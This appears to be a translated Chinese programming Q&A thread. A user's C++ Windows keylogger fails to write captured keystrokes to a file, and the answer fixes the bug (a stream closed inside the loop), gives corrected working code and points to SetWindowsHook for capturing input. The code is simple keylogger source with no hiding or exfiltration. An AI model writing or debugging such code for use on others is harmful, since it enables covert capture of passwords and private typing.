问题描述
(C++ 17) 我正在编写一个键盘记录器,可以将击键记录到记事本上,但我无法写入记事本。我创建了一个函数,该函数在具有 175 毫秒延迟的 while true 循环中被调用。
std::ofstream keyLogs;
keyLogs.open("C:\\Users\\smart\\Desktop\\Text Files\\Key Log.txt");
char tochar;
if (capital) // Capital is parameter
{
keyLogs << "Printed,1."
for (int ascii = 32; ascii <= 126; ascii++)
{
keyLogs << "Printed,2."
if (GetAsyncKeyState(ascii))
{
keyLogs << "Printed,3."
tochar = char(ascii); // Turns ascii to char
if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
{
if (ascii == 49) { tochar = '!'; }
else if (ascii == 50) { tochar = '@'; }
else if (ascii == 51) { tochar = '#'; }
else if (ascii == 52) { tochar = '$'; }
else if (ascii == 53) { tochar = '%'; }
else if (ascii == 54) { tochar = '^'; }
else if (ascii == 55) { tochar = '&'; }
else if (ascii == 56) { tochar = '*'; }
else if (ascii == 57) { tochar = '('; }
}
keyLogs << tochar << "\n";
std::cout << tochar << std::endl;
keyLogs.close();
}
}
}
当我执行代码时,程序将 Printed 1 和 2 很好地写入记事本,但之后就停止了。并不是程序无法访问它,因为我所有的按键都打印在控制台上。我还获得了许多其他键盘记录器存储库,但它们都有相同的问题,即无法将击键记录到记事本上。我尝试禁用我的防病毒软件,然后运行代码,但它仍然不起作用。
编辑:
// headerFile.h
extern std::ofstream keyLogs;
void GetKeypressed(bool capital);
// define.cpp
std::ofstream keyLogs("C:\\Example\\Example.txt");
// Defines GetKeyState function
void GetKeypressed(bool capital)
{
char tochar;
// If capital true
if (capital)
{
for (int ascii = 32; ascii <= 126; ascii++)
{
if (GetAsyncKeyState(ascii))
{
// Turns ascii to char
tochar = char(ascii);
keyLogs << tochar;
if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
{
if (ascii == 49) { tochar = '!'; }
else if (ascii == 50) { tochar = '@'; }
else if (ascii == 51) { tochar = '#'; }
else if (ascii == 52) { tochar = '$'; }
else if (ascii == 53) { tochar = '%'; }
else if (ascii == 54) { tochar = '^'; }
else if (ascii == 55) { tochar = '&'; }
else if (ascii == 56) { tochar = '*'; }
else if (ascii == 57) { tochar = '('; }
}
keyLogs << tochar << "\n";
// std::cout << tochar << std::endl;
}
}
}
// main.cpp
#include "headerFile.h"
int main()
{
keyLogs.open("C:\\Example\\Example.txt");
while (true)
{
// If capital or shift are being held down
if ((GetKeyState(VK_CAPITAL) & 0x0001 || GetKeyState(VK_SHIFT) & 0x8000) != 0)
{
// If both are being held down
if ((GetKeyState(VK_CAPITAL) & 0x0001 && GetKeyState(VK_SHIFT) & 0x8000) != 0) { GetKeypressed(false); }
else { GetKeypressed(true); }
}
// If capital and shift are not toggled
if ((GetKeyState(VK_CAPITAL) & 0x0001 || GetKeyState(VK_SHIFT) & 0x8000) == 0)
GetKeypressed(false);
Sleep(175);
}
keyLogs.close();
}
解决方法
如果只看代码中的错误,是因为第一次执行函数时循环中keyLogs
的文件流已经关闭了。这样以后你的关键信息就不会写入文件了,你可以定义keyLogs
为全局变量。
这是修改后的代码,可以参考:
#include <iostream>
#include <fstream>
#include <windows.h>
using namespace std;
std::ofstream keyLogs;
void f()
{
char toChar;
if (true) // I use true just test
{
//keyLogs << "Printed,1.";
for (int ascii = 32; ascii <= 126; ascii++)
{
//keyLogs << "Printed,2.";
if (GetAsyncKeyState(ascii))
{
keyLogs << "Printed,3.";
toChar = char(ascii); // Turns ascii to char
if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
{
if (ascii == 49) { toChar = '!'; }
else if (ascii == 50) { toChar = '@'; }
else if (ascii == 51) { toChar = '#'; }
else if (ascii == 52) { toChar = '$'; }
else if (ascii == 53) { toChar = '%'; }
else if (ascii == 54) { toChar = '^'; }
else if (ascii == 55) { toChar = '&'; }
else if (ascii == 56) { toChar = '*'; }
else if (ascii == 57) { toChar = '('; }
}
keyLogs << toChar << "\n";
//std::cout << toChar << std::endl;
}
}
}
}
int main(int argc,const char* argv[])
{
keyLogs.open("D:\\test\\test.txt");
while (true)
{
f();
Sleep(175);
}
keyLogs.close();
return 0;
}
当然推荐你使用SetWindowsHook
来实现键盘录音,可以参考:C++/Win32: Keyboard input to a non-foreground window